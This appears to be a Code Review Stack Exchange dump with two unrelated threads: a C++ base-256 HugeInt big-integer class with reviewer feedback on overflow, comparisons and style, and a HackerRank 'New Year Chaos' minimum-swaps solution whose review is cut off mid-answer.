* c = a + <some C string> e.g. c = a + "12345876987"
* c = <some C string> + a e.g. c = "12345876987" + a
*
* @param a
* @param b
* @return
*/
HugeInt operator+(const HugeInt& a, const HugeInt& b) {
HugeInt sum;
int carry{0};
int partial{0};
for (int i = 0; i < HugeInt::numDigits; ++i) {
// add digits with carry
partial = a.digits[i] + b.digits[i] + carry;
carry = get_carry(partial);
sum.digits[i] = static_cast<uint8_t> (get_digit(partial));
}
return sum;
}
/**
* friend binary operator-
*
* Subtract HugeInt a from HugeInt a and return the value c = a - b.
*
* Note: since we provide conversion constructors for long int's and
* null-terminated C strings, this function, in effect, also provides
* the following functionality by implicit conversion of strings and
* long int's to HugeInt
*
* c = a - <some long int> e.g. c = a - 2412356L
* c = <some long int> - a e.g. c = 2412356L - a
*
* c = a - <some C string> e.g. c = a - "12345876987"
* c = <some C string> - a e.g. c = "12345876987" - a
*
* @param a
* @param b
* @return
*/
HugeInt operator-(const HugeInt& a, const HugeInt& b) {
return a + (-b);
}
/**
* friend binary operator *
*
* Multiply two HugeInt numbers. Uses standard long multipication algorithm
* adapted to base 256.
*
* @param a
* @param b
* @return
*/
HugeInt operator*(const HugeInt& a, const HugeInt& b) {
HugeInt product{0L};
HugeInt partial;
for (int i = 0; i < HugeInt::numDigits; ++i) {
partial = a.shortMultiply(b.digits[i]);
product += partial.shiftLeftDigits(i);
}
return product;
}
////////////////////////////////////////////////////////////////////////////
// Relational operators (friends) //
////////////////////////////////////////////////////////////////////////////
/**
* Operator ==
*
* @param lhs
* @param rhs
* @return
*/
bool operator==(const HugeInt& lhs, const HugeInt& rhs) {
HugeInt diff{rhs - lhs};
return diff.isZero();
}
/**
* Operator !=
*
* @param lhs
* @param rhs
* @return
*/
bool operator!=(const HugeInt& lhs, const HugeInt& rhs) {
return !(rhs == lhs);
}
/**
* Operator <
*
* @param lhs
* @param rhs
* @return
*/
bool operator<(const HugeInt& lhs, const HugeInt& rhs) {
HugeInt diff{lhs - rhs};
return diff.isNegative();
}
/**
* Operator >
*
* @param lhs
* @param rhs
* @return
*/
bool operator>(const HugeInt& lhs, const HugeInt& rhs) {
return rhs < lhs;
}
/**
* Operator <=
*
* @param lhs
* @param rhs
* @return
*/
bool operator<=(const HugeInt& lhs, const HugeInt& rhs) {
return !(lhs > rhs);
}
/**
* Operator >=
*
* @param lhs
* @param rhs
* @return
*/
bool operator>=(const HugeInt& lhs, const HugeInt& rhs) {
return !(lhs < rhs);
}
////////////////////////////////////////////////////////////////////////////
// Private utility functions //
////////////////////////////////////////////////////////////////////////////
/**
* shortDivide:
*
* Return the result of a base 256 short division by 0 < divisor < 256, using
* the usual primary school algorithm adapted to radix 256.
*
* WARNING: assumes both HugeInt and the divisor are POSITIVE.
*
* @param divisor
* @return
*/
HugeInt HugeInt::shortDivide(int divisor) const {
int j;
int remainder{0};
HugeInt quotient;
for (int i = numDigits - 1; i >= 0; --i) {
j = 256 * remainder + digits[i];
quotient.digits[i] = static_cast<uint8_t>(j / divisor);
remainder = j % divisor;
}
return quotient;
}
/**
* shortModulo
*
* Return the remainder of a base 256 short division by divisor, where
* 0 < divisor < 256.
*
* WARNING: assumes both HugeInt and the divisor are POSITIVE.
*
* @param divisor
* @return
*/
int HugeInt::shortModulo(int divisor) const {
int j;
int remainder{0};
for (int i = numDigits - 1; i >= 0; --i) {
j = 256 * remainder + digits[i];
remainder = j % divisor;
}
return remainder;
}
/**
* shortMultiply
*
* Return the result of a base 256 short multiplication by multiplier, where
* 0 <= multiplier < 256.
*
* WARNING: assumes both HugeInt and multiplier are POSITIVE.
*
* @param multiplier
* @return
*/
HugeInt HugeInt::shortMultiply(int multiplier) const {
HugeInt product;
int carry{0};
int tmp;
for (int i = 0; i < numDigits; ++i) {
tmp = digits[i] * multiplier + carry;
carry = get_carry(tmp);
product.digits[i] = static_cast<uint8_t>(get_digit(tmp));
}
return product;
}
/**
* shiftLeftDigits
*
* Shift this HugeInt's radix-256 digits left by num places, filling
* with zeroes from the right.
*
* @param num
* @return
*/
HugeInt& HugeInt::shiftLeftDigits(int num) {
if (num == 0) {
return *this;
}
for (int i = numDigits - num - 1; i >= 0; --i) {
digits[i + num] = digits[i];
}
for (int i = 0; i < num; ++i) {
digits[i] = 0;
}
return *this;
}
/**
* radixComplementSelf()
*
* Perform a radix complement on the object in place (changes object).
*
* @return
*/
HugeInt& HugeInt::radixComplementSelf() {
if (!isZero()) {
int sum{0};
int carry{1};
for (int i = 0; i < numDigits; ++i) {
sum = 255 - digits[i] + carry;
carry = get_carry(sum);
digits[i] = static_cast<uint8_t>(get_digit(sum));
}
}
return *this;
}
/**
* operator<<
*
* Overloaded stream insertion for HugeInt.
*
* @param output
* @param x
* @return
*/
std::ostream& operator<<(std::ostream& output, const HugeInt& x) {
output << x.toDecimalString();
return output;
}
</code></pre>
<p>Simple driver:</p>
<pre><code>/*
* Simple driver to test a few features of th HugeInt class.
*/
#include <iostream>
#include <iomanip>
#include <limits>
#include "HugeInt.h"
HugeInt factorial_recursive(const HugeInt& n);
HugeInt factorial_iterative(const HugeInt& n);
HugeInt fibonacci_recursive(const HugeInt& n);
HugeInt fibonacci_iterative(const HugeInt& n);
int main() {
long int inum{};
do {
std::cout << "Enter a non-negative integer (0-200): ";
std::cin >> inum;
} while (inum < 0 || inum > 200);
HugeInt nfac{inum};
HugeInt factorial = factorial_iterative(nfac);
long double factorial_dec = static_cast<long double>(factorial);
std::cout << "\nThe value of " << nfac << "! is:\n";
std::cout << factorial << '\n';
std::cout.precision(std::numeric_limits<long double>::digits10);
std::cout << "\nIts decimal approximation is: " << factorial_dec << '\n';
do {
std::cout << "\n\nEnter a non-negative integer (0-1800): ";
std::cin >> inum;
} while (inum < 0 || inum > 1800);
HugeInt nfib{inum};
HugeInt fibonacci = fibonacci_iterative(nfib);
long double fibonacci_dec = static_cast<long double>(fibonacci);
std::cout << "\nThe " << nfib << "th Fibonacci number is:\n";
std::cout << fibonacci << '\n';
std::cout << "\nIts decimal approximation is: " << fibonacci_dec << '\n';
std::cout << "\nComparing these two values we observe that ";
if (factorial == fibonacci) {
std::cout << nfac << "! == Fibonacci_{" << nfib << "}\n";
}
if (factorial < fibonacci) {
std::cout << nfac << "! < Fibonacci_{" << nfib << "}\n";
}
if (factorial > fibonacci) {
std::cout << nfac << "! > Fibonacci_{" << nfib << "}\n";
}
HugeInt sum = factorial + fibonacci;
HugeInt diff = factorial - fibonacci;
std::cout << "\nTheir sum (factorial + fibonacci) is:\n";
std::cout << sum << '\n';
std::cout << "\n\twhich is approximately " << static_cast<long double>(sum);
std::cout << '\n';
std::cout << "\nTheir difference (factorial - fibonacci) is:\n";
std::cout << diff << '\n';
std::cout << "\n\twhich is approximately " << static_cast<long double>(diff);
std::cout << '\n';
HugeInt x{"-80538738812075974"};
HugeInt y{"80435758145817515"};
HugeInt z{"12602123297335631"};
HugeInt k = x*x*x + y*y*y + z*z*z;
std::cout << "\nDid you know that, with:\n";
std::cout << "\tx = " << x << '\n';
std::cout << "\ty = " << y << '\n';
std::cout << "\tz = " << z << '\n';
std::cout << "\nx^3 + y^3 + z^3 = " << k << '\n';
}
/**
* factorial_recursive:
*
* Recursive factorial function using HugeInt. Not too slow.
*
* @param n
* @return
*/
HugeInt factorial_recursive(const HugeInt& n) {
const HugeInt one{1L};
if (n <= one) {
return one;
} else {
return n * factorial_recursive(n - one);
}
}
HugeInt factorial_iterative(const HugeInt& n) {
HugeInt result{1L};
if (n == 0L) {
return result;
}
for (HugeInt i = n; i >= 1; --i) {
result *= i;
}
return result;
}
/**
* fibonacci_recursive:
*
* Recursively calculate the n'th Fibonacci number, where n>=0.
*
* WARNING: S l o w . . .
*
* @param n
* @return
*/
HugeInt fibonacci_recursive(const HugeInt& n) {
const HugeInt zero;
const HugeInt one{1L};
if ((n == zero) || (n == one)) {
return n;
}
else {
return fibonacci_recursive(n - 1L) + fibonacci_recursive(n - 2L);
}
}
HugeInt fibonacci_iterative(const HugeInt& n) {
const HugeInt zero;
const HugeInt one{1L};
if ((n == zero) || (n == one)) {
return n;
}
HugeInt retval;
HugeInt fib_nm1 = one;
HugeInt fib_nm2 = zero;
for (HugeInt i = 2; i <= n; ++i) {
retval = fib_nm1 + fib_nm2;
fib_nm2 = fib_nm1;
fib_nm1 = retval;
}
return retval;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T23:01:47.560",
"Id": "463778",
"Score": "13",
"body": "why base 256, and not base 2**32?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T06:07:02.243",
"Id": "463791",
"Score": "0",
"body": "That is certainly a possibility. I thought I would start small first. Thanks for the idea."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:16:55.573",
"Id": "463851",
"Score": "3",
"body": "@Eevee: Note that for bases of `int` or wider you'll have to manually cast to a wider type to get carry-out in the high half. This code looks like it relies on narrow integer types implicitly promoting up to `int` when used as operands to `+`. But yes, it's about 4x more efficient to work in 32-bit chunks than 8-bit chunks, especially on a 64-bit CPU where the \"carry emulation\" using uint64_t could compile efficiently. (C++ doesn't expose hardware carry-in / out in a way that makes it possible to write really efficient portable code; that's why CPython uses base 2^30 in 32-bit integer chunks.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:21:58.190",
"Id": "463852",
"Score": "2",
"body": "Taking advantage of hardware carry-flags, add-with-carry, widening multiply, etc. is one of several reasons why GMP (https://gmplib.org/) has its lowest-level building block routines written in assembly. (And thus needs different versions tuned for different CPU microarchitectures in the same ISA.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:03:11.003",
"Id": "463858",
"Score": "0",
"body": "@PeterCordes these are interesting insights, especially with regard to needing 64bit wide \"registers\" for the carry. Thank you. Do you perhaps have any pointers on where I could find a good integer division algorithm to implement in my code? As you probably noticed, only short division is implemented currently."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:12:56.143",
"Id": "463861",
"Score": "2",
"body": "@RichardMace you don't *need* 64-bit registers to implement `uint64_t`. Compilers targeting 32-bit ISAs will do that for you using HW carry (or if necessary, software carry check, on MIPS and RISC-V which don't have flags.) re: division: it's hard. \n Have a look at what GMP does: https://gmplib.org/repo/gmp/file/tip/mpn/generic/div_q.c (not easy to understand, and uses GMP helper functions). You can probably find something if you google on extended-precision division. I don't know how an algorithm off the top of my head, but I do know there aren't any very efficient ones."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:15:55.763",
"Id": "463862",
"Score": "0",
"body": "@PeterCordes thanks for the clarification. I shall take a look at the GMP code you refer to and Google -- thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:44:04.210",
"Id": "463906",
"Score": "0",
"body": "It's been my experience that even when compiling for an architecture with a hardware multiplier, when your number is larger than the multiplier can handle some compilers will use shift-add instead of (a+b)*(c+d). If you do a lot of multiplying, you might want to write the implementation explicitly."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:44:54.313",
"Id": "463907",
"Score": "1",
"body": "Knuth's \"Algorithm D\" for multiword division takes some getting to know, but it works just fine and I'm not aware of anything that's hugely faster. There's a sample implementation and a possibly more understandable description in *Hacker's Delight* (code available on the web iirc). For an efficient implementation with native-sized words you'll need the not-widely-available `_udiv64/_udiv128` intrinsics."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:46:26.850",
"Id": "463908",
"Score": "0",
"body": "@Sneftel thank you for the information. That's a great help. I shall look it up."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T18:00:35.173",
"Id": "463912",
"Score": "0",
"body": "You seem to have trailing spaces."
}
] |
[
{
"body": "<h1>General</h1>\n<p>I like the presentation. It's easy to read, with good use of whitespace and <em>useful</em> comments.</p>\n<hr />\n<h1>Width</h1>\n<p>It's inconvenient to have to recompile to use a larger width <code>HugeInt</code>, and impossible to mix sizes. Consider making <code>numDigits</code> a template parameter (and use an unsigned type for it - perhaps <code>std::size_t</code>).</p>\n<p>If we template the width, then we'll have a bit of work to do to support promotions between different width values, but you'll find that good exercise.</p>\n<h1>Conversions</h1>\n<p>If this were my code, I think I'd make the <code>char*</code> constructor <code>explicit</code>. The one taking <code>long int</code> seems reasonable to accept as implicit.</p>\n<p>Consider adding an <code>explicit operator bool()</code> to allow idiomatic tests such as <code>if (!num)</code>.</p>\n<h1>Comparisons</h1>\n<p>Implementing the relational operators in terms of subtraction misses an opportunity: if we find a difference in the high-order digits, there's no need to examine the rest of the number. I'd consider writing a simple <code><=></code> function, and using that to implement the public comparisons. (In C++20, you'll be able to implement <code>operator<=>()</code> and the compiler will then produce all the rest for you).</p>\n<h1>Streaming</h1>\n<p>We're missing an operator <code>>></code> to accept input from a standard stream.</p>\n<p>When streaming out, we might be able to produce two digits at a time if we carefully manage leading zeros - that will reduce the number of divisions by around 50%.</p>\n<hr />\n<h1>Missing <code>std::</code> qualifier</h1>\n<p>A lot of the C Standard Library identifiers are missing their namespace prefix (e.g. <code>std::abs</code>, <code>std::strlen</code>, etc). These should be specified, as these names are not guaranteed to also be in the global namespace.</p>\n<h1>Overflow bug</h1>\n<blockquote>\n<pre><code>long int xp{std::abs(x)};\n</code></pre>\n</blockquote>\n<p>On twos-complement systems, <code>LONG_MIN</code> is greater in magnitude than <code>LONG_MAX</code>, so we fail to convert <code>LONG_MIN</code> correctly.</p>\n<h1>Internationalisation</h1>\n<p>This loop embodies a specific locale convention:</p>\n<blockquote>\n<pre><code>for (int j = i - 1; j >= 0; --j) {\n if (j < i - 1) {\n if ((j + 1) % 3 == 0) // show thousands separator\n {\n oss << ','; // thousands separator\n }\n }\n</code></pre>\n</blockquote>\n<p>That's fine for European English, but isn't a good match for Indian English, for example. I believe we can get information from the locale's <code>std::numpunct</code> facet, but I don't know the details.</p>\n<p>I worry that writing separators by default (and with no option to disable) may be a poor choice unless we update our string-to-number conversion to be able to ignore separators - I'm much more comfortable when a round-trip will work.</p>\n<h1>Input handling</h1>\n<p>I know it's only meant to be illustrative, but here we need to check the status of <code>std::cin</code> before repeating the loop:</p>\n<pre><code>do {\n std::cout << "Enter a non-negative integer (0-200): ";\n std::cin >> inum;\n} while (inum < 0 || inum > 200);\n</code></pre>\n<p>If I give <code>-1</code> as input (and nothing else), the program enters an infinite loop, because the closed stream never changes <code>inum</code> to an acceptable value. For a simple program like this, perhaps it's simplest to arrange the stream to throw on EOF, and possibly on other errors.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:43:51.107",
"Id": "463739",
"Score": "0",
"body": "Thank you for the encouraging review and very useful suggestions. I shall implement them in version 2.0."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:24:17.330",
"Id": "463808",
"Score": "0",
"body": "Following up on your very nice review yesterday, would you mind elaborating on the overflow bug you mention above. I realise I have not checked for over/underflow for performance reasons, but it would be helpful to me if you could elaborate on your point. Thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:28:04.163",
"Id": "463822",
"Score": "1",
"body": "To make the numbers simpler, pretend that `long` is 8 bits and 2s-complement, so it has a range of `-128` to `+127`. What's `std::labs(-128)` in that case? Mathematically, it should be `+128`, but that can't be represented. Since it can't be represented, the behaviour is *undefined*. It might be possible to avoid converting the number to its absolute value, but I tend to confuse myself when working with negative numbers... A simpler technique, given that we're using 2s-complement for our representation, would be to convert the `long` to `unsigned long` (which is well-defined)..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:29:28.667",
"Id": "463824",
"Score": "0",
"body": "... and then copy it into the low-order bytes of the `HugeInt`. Then sign-extend its left-most bit to the high-order bytes. That should avoid all UB."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:37:17.377",
"Id": "463825",
"Score": "0",
"body": "Thanks for the clarification. I understand now. I noticed the same problem in base 256. The magnitude of the smallest representable negative number is larger than the largest positive number, so you cannot take its absolute value. A possible approach is just to ignore this negative limit and use <minimum>+1 as your minimum for useful work (and alert users of the class)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:50:34.893",
"Id": "463855",
"Score": "0",
"body": "A note on the internationalization comment: it's English-speaking countries that use commas every three digits: most of Europe uses a dot (or a space before the right-most comma). India is \"odd\" in that it groups in _twos_ before the right-most group of three (e.g. `12,34,56,789`). See [Digit Grouping](https://en.wikipedia.org/wiki/Decimal_separator#Digit_grouping) on Wikipedia."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:22:41.643",
"Id": "236597",
"ParentId": "236585",
"Score": "21"
}
},
{
"body": "<p>In addition to the good suggestions from @TobySpeight, I noted the following (in source order):</p>\n\n<p>HugeInt.h:</p>\n\n<ul>\n<li><code>#include <ostream></code> instead of <code><iostream></code> (pet peeve of mine)</li>\n<li>Use long long instead of long (some platforms - notably Windows - has <code>sizeof(long)==sizeof(int)</code> even of 64-bit platforms)</li>\n<li>default and copy constructors should just be defaulted (<code>= default</code>) rather than be explicitly defined since you're not doing anything non-default.</li>\n<li>maybe construct from <code>std::string_view</code> rather than <code>const char*</code>, and maybe make that constructor explicit</li>\n<li>why is <code>HugeInt radixComplement() const</code> public? </li>\n</ul>\n\n<p>HugeInt.cpp:</p>\n\n<ul>\n<li>internal functions should be in an unnamed namespace (or be static)</li>\n<li><code>HugeInt::HugeInt(const char *const str)</code>\n\n<ul>\n<li>use const for constant values (e.g. <code>len</code>)</li>\n<li>keep the scope of variables as short as possible</li>\n<li>probably want to check for illegal characters</li>\n</ul></li>\n<li>The conversion to long double overflows, when pwrOf256 gets too large (and turns into <code>+inf</code>) you end up with NaN after multiply by zero ruining the result</li>\n<li>You'd probably want to implement operator+/- in terms of +=/-= if you're going for speed rather than the other way round (but there are many other performance optimizations possible, so no big deal)</li>\n<li>Starting out I wouldn't have bothered with operator++/-- they're not really common for bigint classes IME</li>\n<li><code>isZero</code> relies on undefined behavior, if the number is zero you're reading past the start of <code>digits</code></li>\n<li><code>toRawString</code> has the same issue</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T20:05:29.980",
"Id": "463769",
"Score": "0",
"body": "All valid and constructive suggestions. Thank you very much for your time. I shall implement your suggestions in version 2.0."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:28:18.943",
"Id": "463809",
"Score": "0",
"body": "Thanks again for your very helpful review. I am aware of the overflow issue when converting to long double, but have not included checks in the code for performance reasons. Thank you for pointing out the problem with isZero and toRawString. Walking out of the array bounds is something I overlooked. Thanks for spotting this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:19:23.607",
"Id": "463899",
"Score": "1",
"body": "You're welcome. A thing I neglected to mention in my post is that I'd recommend using the sanitizers (in particular address sanitizer and ubsan) built into GCC and clang to check your program. They would have almost certainly highlighted some of these issues. Good luck."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T18:58:52.073",
"Id": "463917",
"Score": "0",
"body": "@RichardMace, let me point out that you had noticed the problem in `isZero` (\"please test first without optimisation\"), you had just not tracked it down.\nhttps://godbolt.org/z/CnVYsq"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T01:47:07.487",
"Id": "463953",
"Score": "0",
"body": "I'd suggest using <cinttypes> and int_fast64_t instead of long long, since that's guaranteed to be the fastest 64-bit int no matter the system. Though I haven't tested it on various C++ systems, it is standard."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:08:13.690",
"Id": "463992",
"Score": "0",
"body": "@CarstenS thank you for linking the problem in isZero() to the optimisation issue. I have corrected the function isZero() and can now compile with optimisation on. Thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-12-19T16:04:14.803",
"Id": "500214",
"Score": "0",
"body": "About `long long`: wouldn't it be better to use `int64_t`, or `size_t` if platform-native size is desired?"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:56:56.650",
"Id": "236600",
"ParentId": "236585",
"Score": "10"
}
}
] |
{
"AcceptedAnswerId": "236597",
"CommentCount": "11",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T14:12:09.130",
"Id": "236585",
"Score": "21",
"Tags": [
"c++",
"integer"
],
"Title": "Huge integer class using base 256"
}
|
236585
|
<p>We need to find the minimum number of adjacent swaps required to order a given vector. The maximum number of swaps that an element can carry out is 2. If the vector can not be ordered under this conditions, we should output "Too chaotic", else we should output the total number of swaps required.</p>
<p><a href="https://www.hackerrank.com/challenges/new-year-chaos/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=arrays" rel="nofollow noreferrer">HackerRank New Year Chaos</a></p>
<p>For example:</p>
<pre><code>2 1 5 3 4
</code></pre>
<p>The result is: 3</p>
<pre><code>1) 1 2 5 3 4
2) 1 2 3 5 4
3) 1 2 3 4 5
</code></pre>
<p>Here is a more challenging test case:</p>
<pre><code>2 1 5 6 3 4 9 8 11 7 10 14 13 12 17 16 15 19 18 22 20 24 23 21 27 28 25 26 30 29 33 32 31 35 36 34 39 38 37 42 40 44 41 43 47 46 48 45 50 52 49 51 54 56 55 53 59 58 57 61 63 60 65 64 67 68 62 69 66 72 70 74 73 71 77 75 79 78 81 82 80 76 85 84 83 86 89 90 88 87 92 91 95 94 93 98 97 100 96 102 99 104 101 105 103 108 106 109 107 112 111 110 113 116 114 118 119 117 115 122 121 120 124 123 127 125 126 130 129 128 131 133 135 136 132 134 139 140 138 137 143 141 144 146 145 142 148 150 147 149 153 152 155 151 157 154 158 159 156 161 160 164 165 163 167 166 162 170 171 172 168 169 175 173 174 177 176 180 181 178 179 183 182 184 187 188 185 190 189 186 191 194 192 196 197 195 199 193 198 202 200 204 205 203 207 206 201 210 209 211 208 214 215 216 212 218 217 220 213 222 219 224 221 223 227 226 225 230 231 229 228 234 235 233 237 232 239 236 241 238 240 243 242 246 245 248 249 250 247 244 253 252 251 256 255 258 254 257 259 261 262 263 265 264 260 268 266 267 271 270 273 269 274 272 275 278 276 279 277 282 283 280 281 286 284 288 287 290 289 285 293 291 292 296 294 298 297 299 295 302 301 304 303 306 300 305 309 308 307 312 311 314 315 313 310 316 319 318 321 320 317 324 325 322 323 328 327 330 326 332 331 329 335 334 333 336 338 337 341 340 339 344 343 342 347 345 349 346 351 350 348 353 355 352 357 358 354 356 359 361 360 364 362 366 365 363 368 370 367 371 372 369 374 373 376 375 378 379 377 382 381 383 380 386 387 384 385 390 388 392 391 389 393 396 397 394 398 395 401 400 403 402 399 405 407 406 409 408 411 410 404 413 412 415 417 416 414 420 419 422 421 418 424 426 423 425 428 427 431 430 429 434 435 436 437 432 433 440 438 439 443 441 445 442 447 444 448 446 449 452 451 450 455 453 454 457 456 460 459 458 463 462 464 461 467 465 466 470 469 472 468 474 471 475 473 477 476 480 479 478 483 482 485 481 487 484 489 490 491 488 492 486 494 495 496 498 493 500 499 497 502 504 501 503 507 506 505 509 511 508 513 510 512 514 516 518 519 515 521 522 520 524 517 523 525 526 529 527 531 528 533 532 534 530 537 536 539 535 541 538 540 543 544 542 547 548 545 549 546 552 550 551 554 553 557 555 556 560 559 558 563 562 564 561 567 568 566 565 569 572 571 570 575 574 577 576 579 573 580 578 583 581 584 582 587 586 585 590 589 588 593 594 592 595 591 598 599 596 597 602 603 604 605 600 601 608 609 607 611 612 606 610 615 616 614 613 619 618 617 622 620 624 621 626 625 623 628 627 631 630 633 629 635 632 637 636 634 638 640 642 639 641 645 644 647 643 646 650 648 652 653 654 649 651 656 658 657 655 661 659 660 663 664 666 662 668 667 670 665 671 673 669 672 676 677 674 679 675 680 678 681 684 682 686 685 683 689 690 688 687 693 692 691 696 695 698 694 700 701 702 697 704 699 706 703 705 709 707 711 712 710 708 713 716 715 714 718 720 721 719 723 717 722 726 725 724 729 728 727 730 733 732 735 734 736 731 738 737 741 739 740 744 743 742 747 746 745 750 748 752 749 753 751 756 754 758 755 757 761 760 759 764 763 762 767 765 768 766 771 770 769 774 773 776 772 778 777 779 775 781 780 783 784 782 786 788 789 787 790 785 793 791 792 796 795 794 798 797 801 799 803 800 805 802 804 808 806 807 811 809 810 814 812 813 817 816 819 818 815 820 821 823 822 824 826 827 825 828 831 829 830 834 833 836 832 837 839 838 841 835 840 844 842 846 845 843 849 847 851 850 852 848 855 854 853 857 856 858 861 862 860 859 863 866 865 864 867 870 869 868 872 874 875 871 873 877 878 876 880 881 879 884 883 885 882 888 886 890 891 889 893 887 895 892 896 898 894 899 897 902 901 903 905 900 904 908 907 910 909 906 912 911 915 913 916 918 914 919 921 917 923 920 924 922 927 925 929 928 926 932 931 934 930 933 935 937 939 940 938 936 943 944 942 941 947 946 948 945 951 950 949 953 952 956 954 958 957 955 961 962 963 959 964 966 960 965 969 968 971 967 970 974 972 976 973 975 979 977 981 982 978 980 983 986 984 985 989 988 987 990 993 991 995 994 997 992 999 1000 996 998
</code></pre>
<p>Output: 966</p>
<p>I came out with a O(N) solution, but my goal is improve my algorithms and std library knowledge. I wonder if there is an equivalent more std way to solve this problem.</p>
<p>My solution tries look at the difference with respect the original position of each number, this gives enough information to be able to predict the following 2 indexes if the rest of the numbers wouldn't have swap. If they do swap, then the prediction and the total number of swaps is updated:</p>
<pre><code>void minimumBribes(vector<int> queue) {
bool too_chaotic = false;
const int max_swaps = 2;
auto expected_next_values = vector<int>(max_swaps);
int total_swaps_count = 0;
for (int index = 0; index < queue.size(); ++index) {
auto distance_to_index = queue[index] - (index + 1);
if (distance_to_index > max_swaps) {
too_chaotic = true;
break;
} else if (distance_to_index == max_swaps) {
total_swaps_count += max_swaps;
--expected_next_values[0];
--expected_next_values[1];
} else if (distance_to_index == expected_next_values[1] + 1) {
total_swaps_count += 1;
--expected_next_values[0];
expected_next_values[1] = 0;
} else if (distance_to_index == expected_next_values[0]) {
expected_next_values[0] = 0;
std::rotate(
std::begin(expected_next_values),
std::prev(std::end(expected_next_values)),
std::end(expected_next_values)
);
} else {
too_chaotic = true;
break;
}
}
if (!too_chaotic) {
std::cout << total_swaps_count << "\n";
} else {
std::cout << "Too chaotic" << "\n";
}
}
</code></pre>
<p>I find difficult to actually practice proper algorithm skills and proper stl usage with this kind of problems, do you happen to know any better resources to learn and practice? </p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T16:23:21.717",
"Id": "463893",
"Score": "1",
"body": "Something tells me it's about hamming distance, but i can't prove it"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T16:24:47.777",
"Id": "463894",
"Score": "0",
"body": "@Sugar Interesting, I'll have a read into it. Thank you for the idea"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T04:50:03.803",
"Id": "464099",
"Score": "0",
"body": "Can you provide some test cases for this function so that reviewers can play with it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T19:42:53.460",
"Id": "464175",
"Score": "0",
"body": "@L.F. True, thank you for the idea"
}
] |
[
{
"body": "<h1>Pass <code>queue</code> as a const reference</h1>\n\n<p>It's quite expensive to pass a whole vector by value, and you are not modifying it. So you can instead make <code>minimumBribes()</code> take a const reference, like so:</p>\n\n<pre><code>void minimumBribes(const vector<int> &queue) {\n ...\n}\n</code></pre>\n\n<h1>Use whitespace to make the code more readable</h1>\n\n<p>A simple trick to make the code more readable is to add empty lines between the different sections in a function. For example, adding an empty line right before the <code>for</code>-loop makes it easier to distinguish the block declaring variables from the main loop. Similarly, one right after the end of the <code>for</code>-loop would also be nice. As a rule of thumb, I'd add an empty line before and after every <code>for</code>, <code>do</code>, <code>while</code> and <code>if</code>-<code>else</code> block.</p>\n\n<h1>Consider using range-for</h1>\n\n<p>You are iterating over each element of the <code>queue</code>, so using a range-for seems natural:</p>\n\n<pre><code>for (auto person: queue) {\n ...\n}\n</code></pre>\n\n<p>Of course, the problem is that you need the index of each person as well. Unfortunately, there is no <code>std::enumerate()</code> that would do what Python's <code>enumerate()</code> function does, but you can find <a href=\"https://stackoverflow.com/a/11329249/5481471\">some implementation</a>s around, or write your own. However, for a vector it's quite easy to get the index of a given value, since you know all elements are consecutive in memory. So you could write:</p>\n\n<pre><code>for (auto &person: queue) {\n auto distance_to_index = person - (&person - &queue.front()) - 1;\n ...\n}\n</code></pre>\n\n<h1>Make <code>minimumBribes()</code> return the swap count instead of printing it</h1>\n\n<p>It's good practice to separate the calculation of some value from printing it to the screen. This makes your code more much more flexible. A possible way to rewrite your functions is like so:</p>\n\n<pre><code>int minimumBribes(const vector<int> &queue) {\n ...\n\n for (...) {\n ...\n }\n\n return too_chaotic ? -1 : total_swaps_count;\n}\n</code></pre>\n\n<p>The caller then can decide how to present the results.</p>\n\n<h1>Use simple solutions for simple problems</h1>\n\n<p>Algorithms are nice, but sometimes a few simple lines of plain-C-like code would do just fine. For example, using <code>std::rotate()</code> on a vector with just two elements is overkill. You could have written:</p>\n\n<pre><code> } else if (distance_to_index == expected_next_values[0]) {\n expected_next_values[0] = expected_next_values[1];\n expected_next_values[1] = 0;\n } ...\n</code></pre>\n\n<p>Or if you do want to handle the cases where <code>max_swaps</code> is larger than 2, I recommend you make <code>expected_next_values</code> a <a 